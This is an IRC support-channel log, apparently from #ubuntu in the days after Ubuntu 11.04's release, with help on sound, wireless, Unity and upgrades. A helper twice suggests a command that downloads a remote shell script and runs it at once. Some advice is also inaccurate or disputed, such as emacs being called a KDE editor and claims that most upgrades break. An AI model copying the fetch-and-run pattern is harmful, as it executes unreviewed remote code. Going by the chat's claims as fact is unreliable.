[18:16] <milen8204> ActionParsnip, thanks
[18:16] <econdudeawesome> coz_: lubuntu-desktop is installed
[18:16] <coz_> josephoenix,  personally I know nothing about ati situations... if no one here knows go to #radeon channel
[18:16] <siddhantchd> help please guys http://ubuntuforums.org/showthread.php?t=1747052
[18:16] <jrib> !here | siddhantchd
[18:16] <ubottu> siddhantchd: Please give at least an overview of your problem *here* (all in one line) - you will get a much greater audience. If you have to use more than 3 lines, please use http://paste.ubuntu.com
[18:16] <coz_> econdudeawesome,  then I would echo ... why aren't you using gdm?
[18:16] <xangua> bahamas: better to upgrade because 9.10 will stop being supported soon ;)
[18:16] <bahamas> jrib: that might be so. i just upgraded to it.
[18:16] <guy45> how can i know what kind of encryption my partition has?
[18:17] <bahamas> xangua: ^^
[18:17] <uwex> robin0800: thx man
[18:17] <jrib> bahamas: you should upgrade to at least 10.04
[18:17] <sirnicholas> hi, I've got a process 'http', hogging lots of system resources. anybody know what it is?
[18:17] <econdudeawesome> coz_: because I'm booting directly into a tty shell. GDM only lets me boot into GUI options--I like booting into the command line
[18:17] <researcher123> I cant listen to music on 11.04 until I was on 10.04 it was fine
[18:17] <bahamas> jrib: i have a pretty old computer. will the newer version work properly (not crawl like a snail)?
[18:17] <coz_> econdudeawesome,  ah I see
[18:17] <Josesordo> coz_, ok.. thanks for the info
[18:18] <jrib> bahamas: I don't know.  How much ram do you have?  What cpu?
[18:18] <RavenHursT> Halzen.. My previous version was just sitting in a VM on a Win7 box.. I'm just creating a new VM
[18:18] <mister_m> I upgraded to 11.4 and now my wireless doesn't work on my laptop
[18:18] <milen8204> ActionParsnip, what does reiserfs means ? :D
[18:18] <deeztek> RaveHurst having the same exact issue with a dell inspiron
[18:18] <coz_> ok lunch break..be back a bit later :)
[18:18] <bahamas> jrib: sempron 2600+. 512 mb ram
[18:18] <Guest27469> milen8204, fs = filesystem
[18:18] <Halzen> RavenHurst: Suit yourself. I hope that one works a little better.
[18:18] <rafi> halzen:it did not work my friend
[18:18] <jrib> bahamas: should work fine
[18:18] <erika> I am using xubuntu. When I log out the login screen says that I am currently logged in, why?
[18:19] <RavenHursT> Halzen: We'll see...  lol
[18:19] <siddhantchd> i have installed ubuntu 11.04 and i m not able to setup the 5.1 channel i am only getting 2.1,,,, i have Gigabyte G31-ES2L motherboard with the following audio device:Intel Corporation N10/ICH 7 Family High Definition Audio Controller (rev 01)
[18:19] <rafi> when i reboot,the nvidia logo appeared but brightness fn key still dosent work
[18:19] <Halzen> rafi: Well, I'm not sure what to tell you. Try creating a thread on Ubuntu's hardware forum, and be specific about what hardware you have.
[18:19] <mister_m> why would my wireless stop working after an upgrade to 11.4?
[18:19] <bahamas> jrib: hmm, ok. ill upgrade to the next version when i have the time. it takes a couple of hours which i dont have right now. thanks anyway
[18:19] <researcher123> after I upgraded to 11.04 my sound stopped
[18:19] <mouzil> hello
[18:19] <milen8204> Guest27469, what  reiser means then :D
[18:19] <ActionParsnip> mister_m: different kernel, different driver builds
[18:19] <Pudabudigada> After the generously-named 'upgrade', my synaptic isn't working, which I want to use to try to fix my sound, any help?
[18:19] <Halzen> mister_m: Because Natty may be stable, but it's about as usable as Debian 3. I call it Ubuntu Vista.
[18:20] <Guest27469> rafi, lspci tells what nvidia you have
[18:20] <Halzen> Pudabudigada: Did you upgrade from 10.10 to 11.04?
[18:20] <mister_m> halzun, ugh. wish I knew better and waited :(
[18:20] <Pudabudigada> Halzen, Yes.
[18:20] <Guest27469> milen8204, wiki reiserfs :)
[18:20] <ActionParsnip> Halzen: its only as unstable as it is because its so young. Give it a month or so and it will be fine
[18:20] <deeztek> problem with wifi 11.04 dell inspriton. Worked fine with 10.04
[18:20] <Halzen> Pudabudigada: I never recommend that. I would back up your home folder and do a fresh install of 11.04.
[18:21] <Pudabudigada> Wonderful...
[18:21] <rafi> GeForce9300
[18:21] <Pudabudigada> Thanks.
[18:21] <ActionParsnip> Halzen: considering it's not even being a week there are still some issues from the beta stages still around
[18:21] <Guest27469> milen8204, best file system is ext4
[18:21] <Halzen> mister_m: If you upgraded from 10.10 to 11.04, I would back up your home folder and do a clean install. That often fixes issues caused by a distro upgrade.
[18:21] <Pudabudigada> Halzen, Will I keep installed applications that way?
[18:21] <ActionParsnip> Guest27469: there is no best filesystem
[18:21] <mister_m> Halzen, may I ask why its better to do a fresh install instead of an upgrade?
[18:21] <mouzil> which is the reverse command for add-apt-repository?
[18:21] <ActionParsnip> mouzil: pp-purge
[18:22] <ActionParsnip> mouzil: ppa-purge
[18:22] <rafi> it is driver problem,i have same problem in ubuntu 10.4 but when i install driver,it fixed
[18:22] <Halzen> Pudabudigada: No, but there are a couple of ways to back up your apt list for an easy redownload.
[18:22] <mouzil> thank you guys
[18:22] <Guest27469> ActionParsnip, yeah there are systems where you can use only ext2 etc...
[18:22] <milen8204> Guest27469, ok but mine /home FS is reiserfs
[18:22] <ActionParsnip> mouzil: or you can use software centre to remove them that way
[18:22] <siddhantchd> ??? anyone can help
[18:22] <Pudabudigada> Ah, okay, how would I do that, Halzen?
[18:22] <rafi> Guest27469:it is driver problem,i have same problem in ubuntu 10.4 but when i install driver,it fixed
[18:22] <ActionParsnip> Guest27469: what about jfs, xfs and ALL the others available
[18:23] <namzezam> dpkg: error processing linux-headers-2.6.35-28-generic (--remove):
[18:23] <namzezam>  Package is in a very bad inconsistent state - you should
[18:23] <namzezam>  reinstall it before attempting a removal. more see
[18:23] <namzezam> http://paste.ubuntu.com/598867/  , also can not report it by ubuntu-bug linux it claims non existing package. This a long lasting bug and it not allowing upgrading.
[18:23] <FloodBot1> namzezam: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[18:23] <Halzen> Pudabudigada: head over to http://aptoncd.sourceforge.net/ and enjoy. :P
[18:24] <Pudabudigada> Halzen,  Thanks. This'll be fun...
[18:24] <mister_m> halzen, and if its bad to do an upgrade, why did ubuntu prompt me to do one?
[18:24] <Guest27469> ActionParsnip, they are oldsystems
[18:24] <dp> dpkg is complaining that gconf2 could not be configured because a subprocess post-installation script returned exit status 127. how can I find out what script failed?
[18:24] <ActionParsnip> Guest27469: if you think there are only ext2, ext3 and ext4 you are mistaken: http://en.wikipedia.org/wiki/Comparison_of_file_systems
[18:24] <Halzen> mister_m: It's a Debian concept (remember that Ubuntu is based on Debian). Debian stable upgrades work just fine. It just isn't as effective for Debian's child.
[18:25] <improveupon> i was running ubuntu lucid and it kept not coming back after the screen saver came up. this morning i upgraded to natty. it wouldn't come back after the screen saver. i went to a command prompt and rebooted (was there something better i should have done?). now it says no init detected when i boot. ubuntu recovery mode still works, so i can be root. i am pretty novice and am floundering for
[18:25] <improveupon> ideas. any suggestion would be appreciated.
[18:25] <ActionParsnip> Guest27469: they all have advantages and disadvantages, old doesn't mean bad
[18:25] <Guest27469> ActionParsnip, i know there is lot of fs
[18:25] <ActionParsnip> Guest27469: people will use the filesystem that suits their needs, so there is no single 'best'
[18:25] <helo> is the proper way to add/remove indicators in unity to add/remove their packages in the package manager? i.e.- if an indicator is installed, it is automatically enabled?
[18:25] <rafi> please,help me,this problem fixed in ubuntu 10.04 when i install nvidia driver,but not work in 11.04,is it a bug?
[18:26] <Guest27469> ActionParsnip, yeah you ue what you need;) i need ext4
[18:26] <Halzen> improveupon: You dist-upgraded to a new OS with a new kernel and package system. This will cause new problems and exasperate your existing ones. Try backing up your /home and doing a clean install.
[18:26] <Guest27469> ActionParsnip, use
[18:26] <ActionParsnip> Guest27469: sure, but that doesn't mean its supremely 'best' does it
[18:26] <KM0201> rafi: https://bugs.launchpad.net/nvidia-drivers-ubuntu/+bug/771788
[18:26] <ubottu> Ubuntu bug 771788 in jockey (Ubuntu) "nVidia driver activated and apparently being used but reported as not being used by jockey-gtk" [Undecided,Confirmed]
[18:26] <improveupon> thank you. i knew it should be obvious
[18:27] <improveupon> would be
[18:27] <trollboy> so, I've heard that you can switch the new ubuntu over to default gnome instead of unity, is there a tutorial on how to do this?
[18:27] <nothingspecial> helo: no, to enable all indicators type this <gsettings set com.canonical.Unity.Panel systray-whitelist "['all']">
[18:27] <Halzen> improveupon: Well, the problem is that it ISN'T obvious. Otherwise, I'd have a fix for you. :P
[18:27] <jrib> trollboy: select "classic" at the login screen
[18:27] <morgan> Hey, I have a question about my wireless card. I have just installed the new Ubuntu and the wireless wount broadcast. i cant enable it in the ray icon, the drive is activated and I find ot a 'sudo lshw -C network' comand, but it does not say it is braodcasting. help any one?
[18:27] <guy45> how can i find out the type of encryption my hd has ?
[18:28] <osse_> Can anyone help me make Ctrl+Shift act as the AltGr button(i.e. 3rd level chooser)? That particular combo isn't avaiable under the keyboard preferences :(
[18:28] <ActionParsnip> morgan: can you pastebin the output of the command you ran please
[18:28] <improveupon> i mean i was thinking, back up /, but /home does contain what's important
[18:29] <Guest27469> ActionParsnip, nope, ext4 is just super duper good and you really have to have reason if you dont use it :)
[18:29] <robin0800> guy45, disk utility
[18:29] <morgan> ActionParsnip: Just past it here?
[18:29] <ActionParsnip> Guest27469: doesn't make it better than all the rest, which is what 'best' means
[18:29] <ActionParsnip> morgan: use http://pastebin.com please
[18:30] <helo> nothingspecial: aww... i was hoping the default would be to enable all installed indicators, since the UI doesn't provide a method to enable/disable them
[18:30] <helo> it would make sense
[18:30] <rafi> please tell me what nvidia driver shoul i install?173 or current.
[18:30] <trailoryo> morgan: or http://pastebin.ubuntu.com/
[18:30] <ActionParsnip> rafi: what nvidia chip?
[18:30] <nothingspecial> helo: that will do it :)
[18:30] <rafi> GeForce 9300
[18:30] <ActionParsnip> rafi: nvidia-173 should do it
[18:31] <rafi> but my brightness fn key dosent work with this druver
[18:31] <Guest27469> ActionParsnip, what is best fs for not losing data. i know ext3 is better than ext4 for that
[18:31] <rafi> ActionParsnip: but my brightness fn key dosent work with this druver
[18:32] <Ababab> I was asking earlier this earlier. My irssi is behaving weirdly: http://i.min.us/inx6ro.png It's related to long texts in the input field. The only common thing I've found is my Terminal. Irssi is fine if I connect to the server using eg. PuTTY
[18:32] <morgan> ActionParsnip: http://pastebin.com/PC0gjwAk thanks
[18:32] <namzezam> http://paste.ubuntu.com/602392/ i cannot even report it, cannot remove it cannot install it  , the pain is  linux-headers-2.6.35-28-generic        !!!! this is 2 weeks pain!!!! why it should be so? what could i do now for to use apt-get upgrade?
[18:32] <Halzen> Guest27469: How do you plan on losing this data? I've never suffered data loss on my ext4 systems.
[18:32] <rafi> please someone help me,i need to change display brightness
[18:32] <stefg> Guest27469: it's called backupfs .... only requires user intervention every night :-)
[18:32] <trollboy> jrib that didn't work
[18:33] <trollboy> there was no classic option on login
[18:33] <ActionParsnip> !broadcom | morgan
[18:33] <ubottu> morgan: Help with Broadcom bcm43xx can be found at https://help.ubuntu.com/community/WifiDocs/Driver/bcm43xx
[18:33] <trollboy> so how do I switch to gnome/kill unity whatever?
[18:33] <ActionParsnip> trollboy: log off and log on to gnome classic
[18:33] <LjL> trollboy: it comes up at the bottom after you click on your login name, before the password.
[18:33] <sss314> Is there anything I should know before upgrading Ubuntu Desktop 10.10 to 11.04 (Upgrade button in Update Manager)? And, do I need to burn a LiveCD?
[18:33] <morgan> Thanks!
[18:34] <trollboy> There was a keyboard and a handicap symbol
[18:34] <OerHeks> trollboy, after logof, first click your name, then the GDM options will appear
[18:34] <rafi> <ActionParsnip:please help me to solve this problem,my brightness fn key dosent work
[18:34] <Halzen> sss314: Don't do it! If you have to upgrade to Natty right away, at least back up your /home and do a clean install.
[18:34] <stefg> sss314: make sure to have a valid backup... there is no downgrading, so if you hate 11.04 you'll have to reinstall 10.10
[18:34] <sss314> Halzen, Don't do what? burn a LiveCD?
[18:34] <junco> hi, anyone gotten gnome-do to work with ubuntu 11?
[18:34] <bahar> I have just upgraded to Natty and there is no sound at all
[18:35] <meco> I am unable to log in as my passwprd isn't accepted in the gui login screen. However, it works when logging in at the text-based ui when booting with the recovery option. Also the gui login screen has a different look, more bluish than the usual purplish. (I'm using 10.4.2..32)
[18:35] <sss314> stefg, I want to upgrade my 10.10 into 11.04
[18:35] <ActionParsnip> bahar: what is the output of: wget -O alsa-info.sh http://alsa-project.org/alsa-info.sh && bash ./alsa-info.sh
[18:35] <Halzen> sss314: Don't use the Upgrade function within Ubuntu. That can cause a lot of trouble. A clean install with a Natty ISO is better.
[18:35] <rafi> please!no one can help me?!
[18:35] <g4> whats the name of the cool new terminal in 11.04 under Applications > Accessories? the one with screen and nice hardstatus? Stats with a b I think?
[18:35] <bahamas> anyone have any idea what the reason is for this '** (gvim:3049): CRITICAL **: gtk_form_set_static_gravity: assertion `static_gravity_supported' failed'?
[18:35] <sachin> g4-what is matter
[18:36] <Halzen> rafi: I would create a thread in the Ubuntu forums. Be specific with your hardware.
[18:36] <sss314> Halzen, Is there anyway I can keep my files when installing from a new burned LiveCD?
[18:36] <sachin> need help in evoltion smtp
[18:36] <rafi> thank you my friend
[18:36] <stefg> !backup | sss314
[18:36] <ubottu> sss314: There are many ways to back your system up. Here's a few: https://help.ubuntu.com/community/BackupYourSystem , https://help.ubuntu.com/community/DuplicityBackupHowto , https://wiki.ubuntu.com/HomeUserBackup , https://help.ubuntu.com/community/MondoMindi - See also !sbackup and !cloning
[18:36] <rafi> Halzen:tankyou  my friend
[18:36] <iceroot> sss314: why you want to do a fresh install?
[18:37] <Halzen> sss314: Most of your important data is in your /home folder, so back that up first. Any custom icons and themes will be in their own folders in /usr/share/. Other than that, all you'll have to do is personalize the OS and redownload your apts.
[18:37] <sss314> iceroot, Halzen recommended a fresh install, what do you think?
[18:37] <meco> I need help! I am unable to log in as my password isn't accepted in the gui login screen. However, it works when logging in at the text-based ui when booting with the recovery option. Also the gui login screen has a different look, more bluish than the usual purplish. (I'm using 10.4.2..32)
[18:37] <stefg> iceroot: because upgrades break more often than they work...
[18:37] <iceroot> stefg: not really
[18:37] <damiano546> hello
[18:38] <Halzen> iceroot: I'm glad you've gotten lucky, but most dist-upgrades cause problems.
[18:38] <LjL> nothing to lose trying an upgrade, at any rate (as long as you have stuff backed up anyway)
[18:38] <sachin> need help in evoltion smtp
[18:38] <damiano546> how could i use mysql without socket?
[18:38] <damiano546> at the moment i have mysqld.sock
[18:38] <ActionParsnip> meco: boot to root recovery mode and set the password, may help
[18:38] <damiano546> i would connect with 127.0.0.1
[18:38] <LjL> Halzen: what does sss314 have to lose by trying an upgrade, though?
[18:38] <damiano546> possible?
[18:38] <iceroot> sss314: 1. never touch a running system, so why you need an upgrade? 2. make a backup of /home (not only because of an upgrade), 3. just ran the upgrade manager
[18:38] <iceroot> Halzen: that is not true
[18:38] <meco> ActionParsnip: How do I do that?
[18:38] <sachin> need help in evoltion smtp
[18:38] <Halzen> LjL: Oh, of course he can try a dist-upgrade once his stuff is backed up.
[18:38] <sachin> anyone
[18:39] <home-alone> hi... Ubuntu 11.04 natty is still very unstable
[18:39] <trailoryo> rafi: go to system->preferences->screensaver and u should be able to adjust brightness under power management
[18:39] <ActionParsnip> meco: hold shift at boot, select recovery mode, select root
[18:39] <ActionParsnip> meco: then run: passwd username
[18:39] <sachin> anyone
[18:39] <sss314> Halzen, stefg, iceroot, LjL, I'll backup my files, but if Ubuntu's default upgrade will work would it be OK? or should I make a fresh install anyway?
[18:39] <iceroot> Halzen: "most dist-upgrades cause problems" means hat more then 50% of all upgrade may break the system and that is of course not true
[18:39] <ActionParsnip> sachin: who is your mail provider?
[18:39] <home-alone> i can't enter unity without first enter ubuntu classic with no effects and install fglrx manually or from jockey
[18:40] <LjL> sss314: if it works, i don't see why you'd need to reinstall. if it doesn't, no harm done with a backup.
[18:40] <sachin> gmail
[18:40] <iceroot> sss314: dont make a fresh install, its useless
[18:40] <damiano546> no?
[18:40] <Halzen> iceroot: "of course" because you have the numbers for me? I see dist-upgrade problems ALL THE TIME.
[18:40] <sachin> actionparsnip-gmail
[18:40] <trollboy> GDM options do not appear, only a password box when I click my name
[18:40] <LjL> Halzen: by dist-upgrade you don't mean actual sudo apt-get dist-upgrade, surely?
[18:40] <ActionParsnip> sachin: try adding information like that rather than vagueness and you will get MORE help
[18:40] <sipior> Halzen: on a help channel. that's a pretty strong selection effect.
[18:40] <Halzen> sss314: Definitely back up your Home first. After that, you're welcome to upgrade in the manner of your choice.
[18:40] <ActionParsnip> sachin: http://tuxicity.wordpress.com/2007/03/08/howto-set-up-gmail-in-evolution-gnomes-mail-client-and-organizer/
[18:41] <Halzen> sipior: On a help channel, on multiple Linux and Ubuntu forums, and on multiple blogs. Don't fill in my sentences for me.
[18:41] <sipior> Halzen: perhaps you should write them better, then.
[18:41] <sachin> no error while sending mail using ethernet,but problem in wifi.but that does not happen in windows outlook
[18:41] <bahar> it is quite long, shall I post it here? Or just the address the output located?
[18:41] <LjL> !pastebin | bahar
[18:41] <ubottu> bahar: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[18:41] <Halzen> LjL: That's pretty much what the Software Manager does in GUI, right? I was speaking of both terminal upgrades and GUI upgrades.
[18:41] <stefg> sss314: depends how much time you have... if you have a working upgraded box: perfect.... if you fear first spending time an bandwidth on an upgrade, but reinstall anyway after everything broke, then reinstall. and make sure to cover your line of retreat.... 11.04 has its rough edges, so make sure you can revert
[18:41] <sachin> not working
[18:42] <iceroot> Halzen: sudo apt-get dist-upgrade is of course not the recommend way to upgrade
[18:42] <LjL> Halzen: it's not really. upgrade manager does additional checks and disables some repositories during the upgrade, i believe.
[18:42] <trollboy> OerHeks, there is no GDM options.  When I click my name, I just get the password box
[18:42] <iceroot> Halzen: the update-managaer has special pre/postinst scripts
[18:42] <Halzen> LjL: A repo check makes sense.
[18:42] <trollboy> I'll try again
[18:42] <sachin> ??
[18:42] <uwex> anyone using irssi?
[18:42] <sss314> I think I'll first use 11.04 as a LiveCD to check out the new version
[18:42] <ActionParsnip> sachin: DETAILS....again!!
[18:42] <MrADz> Installed the sbackup package, but nothing shows up on System >> Administration
[18:43] <ActionParsnip> uwex: i am
[18:43] <Halzen> sss314: Oh, definitely do that first. You want to WANT the new version, believe me. xD
[18:43] <LjL> sss314: note that the new version comes with a new interface called Unity, which is however not available when testing from the live CD
[18:43] <gn0> Hi
[18:43] <iceroot> Halzen: if you just change your /etc/apt/sources.list and do sudo apt-get dist-upgrade  then maybe its broken often but that case we dont care, we support the update maager
[18:43] <iceroot> Halzen: so please dont tell peolpe that upgrades are broken very often
[18:43] <ActionParsnip> sachin: what happens? What bits work? What message do you get? We can't see your screen so you will have to give us more details than "didn't work" if you expect any sort of help
[18:43] <bahar> thanks.. the output is located here http://www.alsa-project.org/db/?f=3c6e7f53f162ad01d0c2e789a6537c2b532f3461
[18:43] <ActionParsnip> sachin: or do you simply expect us to guess?
[18:43] <zvacet> Halzen: sudo apt-get -dist-upgrade  will upgrade packages on your existing release but will not upgrade you to the next release
[18:44] <Halzen> iceroot: I've seen plenty of broken upgrades through the GUI mangers, both Synaptic and Ubuntu's update manager.
[18:44] <sachin> i use gmail.no problem in recieving mail but only in smtp.you see i get  no error while sending mail using ethernet,but problem in wifi.but that does not happen in windows outlook.
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[18:44] <ActionParsnip> sachin: what windows does is of zero value to us
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[18:44] <stefg> iceroot: afraid of the truth?
[18:44] <trollboy> that fixed it
[18:44] <trollboy> thanks
[18:45] <trollboy> will that be the default now?
[18:45] <ActionParsnip> sachin: so when you are on the wireless can you recieve and not send?
[18:45] <zizban> I really like Unity. It's the reason I came back Ubuntu
[18:45] <ikonia>   /last ikonia
[18:45] <zizban> Great work, developers
[18:46] <zizban> Of course I may be the only person on the Internet who thinks this
[18:46] <MrADz> Where is the thunderbird profiles directory?
[18:46] <ActionParsnip> zizban: i think its fine
[18:46] <gn0> I'am going to purchase a Dell Inspiron 15R with a Sandy-Bridge based Intel Core i5 2410M. After reading some bad news about Intel Sandy-Bridge and Linux, I had noticed that Ubuntu 11.04 Beta2 supports Sandy-Bridge, so, here's the real question. Does Ubuntu 11.04 stable support 3d graphics with Sandy-Bridge or at least VAAPI acceleration with mplayer or similar?
[18:46] <zvacet> Halzen: you can now upgrade from desktop cd of course back up if something goes wrong
[18:46] <ActionParsnip> MrADz: ~/.mozilla/thunderbird  (might be a capital T)
[18:46] <stefg> zizban: glad it works for you... so you obviously belong to the target audience
[18:46] <MrADz> ActionParsnip, Thanks
[18:46] <Olson_> I having trouble with my wacom tablet in 11.04, I can't work it out, seems all pressure sensitivity is gone, apart from slighting on and completely ON.. i've tried uninstalling all drivers that i can find in synaptic, restarting, etc.. is there some problem I not know about?
[18:47] <ActionParsnip> MrADz: if you use firefox too, just backup ~/.mozilla and you are laughing :)
[18:47] <zizban> I must be a target audience, go me.
[18:47] <zizban> I cant wait for Unity2d so I can use it on geriatric laptop here
[18:47] <sachin> actionparsnip-help?
[18:47] <stefg> zizban: debian with lxde for them
[18:48] <xangua> !info unity-2d | zizban
[18:48] <ubottu> zizban: unity-2d (source: unity-2d): Unity interface for non-accelerated graphics cards. In component main, is optional. Version 3.8.4.1-0ubuntu1 (natty), package size 7 kB, installed size 124 kB
[18:48] <zvacet> stefg: it works for me too and I think it is hardware issues so we can expect fixes
[18:48] <ohsix> gn0: i don't know about vaapi, you can check the vaapi repo and see, it's pretty threadbare for answering questions like that; but generally the new cards are fairly well supported, engineers are working on drivers before general availability
[18:48] <jwmto> I'm having sound problems on an IMAC running natty.  Can anyone help or direct me to a better room to seek help?
[18:48] <zizban> oooo I can have it now? Cool
[18:48] <ohsix> jwmto: can you describe the problem?
[18:49] <Halzen> jwmto: You're at the right place. Just let us know what the problem is and we'll do what we can.
[18:49] <jwmto> yes: the headphone jack doesnt seem to be recognized
[18:49] <Guest54461> I recently installed ubuntu and lvm, but I do not think lvm was installed correctly, for one the disk manager shows only a swap partition on the second harddrive and the rest of it empty, can someone help me figure out what i did wrong?
[18:49] <Halzen> jwmto: Could you be more specific on what kind of iMac you have? Do you know what processor it has?
[18:49] <Superstar> Can someone help me install Cinelerra? I've added the ppa through the instructions on launchpad and I went into the package manager, hit reload, but there are no packages to upgrade nor can I find it when I search for it
[18:49] <sss314> Does 11.04 work as fast(or slow) as 10.10?
[18:49] <ActionParsnip> sachin: I asked you a question..
[18:49] <gn0> ohsix: Thanks for your help, I didn't thinked about looking for support information in vaapi repos.
[18:49] <jwmto> the other dimension of the problem is that in trying to fix it last month I changed the naming of the computer in I don't know what file
[18:49] <zizban> sss314: if you have the right hardware 11.04 flies
[18:50] <ActionParsnip> jwmto: in BOTH /etc/hosts and /etc/hostname
[18:50] <Zeeofu> I've installed Ubuntu 11.04 on virtubox but unity is not working.
[18:50] <zvacet> stefg: you have awesome on llubuntu but I don´t like it very much
[18:50] <jwmto> 24 inch IMAC, 2.8GHz dual core
[18:50]  * zizban is biased. He loves Unity. Yes he does
[18:50] <xangua> Superstar: maybe the ppa is not for natty, last time it didn't even had packages for maverick
[18:50] <ActionParsnip> jwmto: open both for editing using sudo and then change both files,
[18:50] <zizban> VirtualBox doesn't have 3d accel, thus no Unity
[18:50]  * helo high-fives zizban 
[18:50] <ActionParsnip> zizban: it can
[18:50] <Halzen> sss314: That's a bit of a loaded question. Unity 3D is a bit slower than Gnome, but Unity 2D is usually faster. KDE is still the heaviest desktop, and you still have options like Xubuntu and Lubuntu for a more lightweight desktop.
[18:50] <rafi> tnx to evryone
[18:51] <rafi> bye
[18:51] <Superstar> xangua it's listed for natty
[18:51] <zizban> ah, things you learn
[18:51] <Zeeofu> zizban: Will it work on vmware.
[18:51] <sss314> Is the only difference between Ubuntu and Xubuntu is the GUI?
[18:51] <jwmto> ActionParsnip.  thanks.  gimme a second
[18:51] <zizban> ah ok
[18:51] <helo> i have a relatively old setup with 1GB, athlon 64 4000+, and geforce 6700 video, and unity runs great
[18:51]  * zizban thinks real men use real hardware
[18:51] <xangua> Latest Cinelerra CV 2.1.5 for 10.10 Maverick Meerkat, 10.04 Lucid Lynx,  9.10 Karmic Koala, 8.04 Hardy Heron, are available from a Launchpad repo  maintained by Nicola Ferralis< it's not Superstar
[18:51] <morgan> ActionParsnip: I followed the instructions on the hompage to get my Broadcam WiFi to work but it did not help. i cant seam to enable wireless networking at all...
[18:52] <Halzen> sss314: The change in DE (Desktop Environment) means that you'll be swapping out some apps (Gedit, for example is a Gnome text editor, while emacs is for KDE), but the core OS is mostly the same.
[18:52] <Superstar> xangua: https://launchpad.net/~cinelerra-ppa/+archive/ppa lists "1:2.1.5-0.14~ppa1~natty5" under published packages
[18:52] <ActionParsnip> !ppa | xangua
[18:52] <ubottu> xangua: A Personal Package Archive (PPA) can provide alternate software not normally available in the offical Ubuntu repositories - Looking for a PPA? See https://launchpad.net/ubuntu/+ppas - WARNING: PPAs are unsupported third-party packages, and you use them at your own risk.
[18:53] <ActionParsnip> xangua: I know there is a ppa for it, find it using that link
[18:53] <Stava> can I split a partition into two without overwriting/corrupting any data on the original partition? its my home partition with encryption and stuff
[18:53] <Olson_> does anyone on 11.04 have Wacom tablet working correctly?
[18:53] <ActionParsnip> morgan: if you run: rfkill list      are any adapters blocked?
[18:53] <xangua> ActionParsnip: i am not searching for a ppa :S
[18:53] <jwmto> ActionParsnip: which two files  in BOTH /etc/hosts and /etc/hostname ?
[18:53] <i_is_broke> yeah, well anyone had issues of proprietary drivers not being used after activating?
[18:53] <Halzen> sss314: Of course, most apps work just fine outside of their native DE. My roommate's machine is running XFCE along with a few Gnome apps just fine.
[18:53] <MrADz> Evolution files are where?
[18:54] <Zeeofu> Yes, 11.04 works fine on my hp tx2609
[18:54] <ActionParsnip> jwmto: yes, change both if you want to change hostname of a system. If you change one then try to run sudo, it will fail and you will need to drop to root recovery mode to edit the other
[18:54] <sss314> Halzen, ok, maybe I'll install Xubuntu
[18:54] <morgan> ActionParsnip: I would like to try but now my whole pute froze up. I cant change windos. can move my mouse and type here, but not click anything. Dang...
[18:54] <ActionParsnip> MrADz: http://library.gnome.org/users/evolution/stable/b17qy921.html.en
[18:54] <peto_> hi
[18:54] <Superstar> ActionParsnip can you help me install it? I've added the PPA but I don't know what to do next as Synaptic doesn't show the package when reloading but it is in the repositories
[18:54] <Halzen> sss314: I like Xubuntu, but I prefer Gnome on a machine that can handle Gnome. Luckily, there are guides on switching from one DE to another easily, no reinstall required. :)
[18:55] <jwmto> ActionParsnip it's not the hostname that is the problem
[18:55] <ActionParsnip> Superstar: try in terminal. run:  sudo apt-get update    before you start
[18:55] <Zeeofu> Which Linux os provides best unix experience.
[18:55] <ActionParsnip> jwmto: whats the issue?
[18:55] <jwmto> i can't get the headphone jack to work
[18:55] <ActionParsnip> Zeeofu: thats an opinion so is never concrete
[18:55] <venik> when I upgraded to thunderbird 3.1.9 I was told that lightning is not compatible with it (v. 1.02b) on 64 bit ubuntu.  What do I do?
[18:55] <Halzen> Zeeofu: That's a pretty vague question. What are you looking for in particular?
[18:55] <MrADz> ActionParsnip, Thanks mate. Backup running now
[18:55] <trailoryo> is it possible to change from unity to classic from the terminal? and other way? Or do you have to log out
[18:55] <ActionParsnip> jwmto: ok what make and model is the systtem (if you have one)
[18:56] <debd> does anyone know if this will work for dual boot disks?  http://e4rat.sourceforge.net/
[18:56] <jwmto> ActionParsnip: 24 inch IMAC 2.8 Ghz dual core, running natty
[18:56] <Zeeofu> Halzen: I am looking for an OpenBsd type CUI based os
[18:56] <xangua> Superstar: as you can see, the ppa says it failed to build packages for natty
[18:56] <xangua> trailoryo: log out
[18:56] <sipior> Zeeofu: so...install OpenBSD?
[18:56] <Superstar> xangua it doesn't say  it's failed
[18:56] <ActionParsnip> jwmto: what is the output of: wget -O alsa-info.sh http://alsa-project.org/alsa-info.sh && bash ./alsa-info.sh
[18:56] <zvacet> sss314: if you are looking for something light try lubuntu
[18:56] <Halzen> Zeeofu: Well, this definitely isn't that. xD Try FreeBSD or OpenBSD, and look up derivatives of those.
[18:57] <ActionParsnip> Zeeofu: pc-bsd is good for bsd newcomers
[18:57] <morgan> ActionParsnip: Nopp no adapters are blocked.
[18:57] <peeps> is there a way to turn off automatic maximizing in unity when window is dragged toward the top
[18:57] <ActionParsnip> morgan: ok and if you run: sudo iwlist scan    do you find access points?
[18:58] <trailoryo> xangua, you can do changes in gdmsetup, but there is No way to apply them from the terminal? :|
[18:58] <jwmto> ActionParsnip:  http://www.alsa-project.org/db/?f=4ba8bfdb76d7de3a7989d4199fbc56923ab6b20f
[18:59] <morgan> Actionparsnip: I get the following - http://pastebin.com/HKrimZCg
[19:00] <Olson_> oky it seems people who having installed fresh 11.04 rather than upgrading from 10.10 are not experiencing problems with tablet sensitivity and such, anyone know where I might start to fix the problems I'm having without a full re-install?
[19:00] <peto_> how can I recover the night and day zones worldmap I had in the clock & date applet on previus versions of Ubuntu?
[19:00] <peto_> I miss that map much
[19:01] <xangua> peto_: use 'classic' desktop
[19:01] <Guest54461> anyone on here know anything about lvm?
[19:01] <jwmto> One thing I need to accomplish is changing my "snd-hda-intel: model=macpro" back to IMAC, does anyone know where this is done?
[19:01] <Halzen> Olson_: Normally, I would recommend upgrading to a new kernel or switching to Liquorix, but I haven't been keeping up on Natty kernels...
[19:01] <JamesMason> hi, don't suppose anyone can help me with a problem with my hp tc1100 wireless?
[19:01] <ohsix> peto_: are you using unity? that thing at the top isn't a panel and that isn't an applet; the old one still exists but it lives on a panel D:
[19:01] <peto_> xangua, 'classic'?
[19:01] <ActionParsnip> jwmto: try adding: options snd-hda-intel model=mbp55    to /etc/modprobe.d/alsa-base.conf    you appear to have options snd-hda-intel model=asus-a7m  and options snd-hda-intel model=macpro  currently which is weird
[19:01] <xangua> peto_: yes, on your login screen
[19:02] <Olson_> Halzen, new kernel arrived today via synaptic, it hasn't cured problem
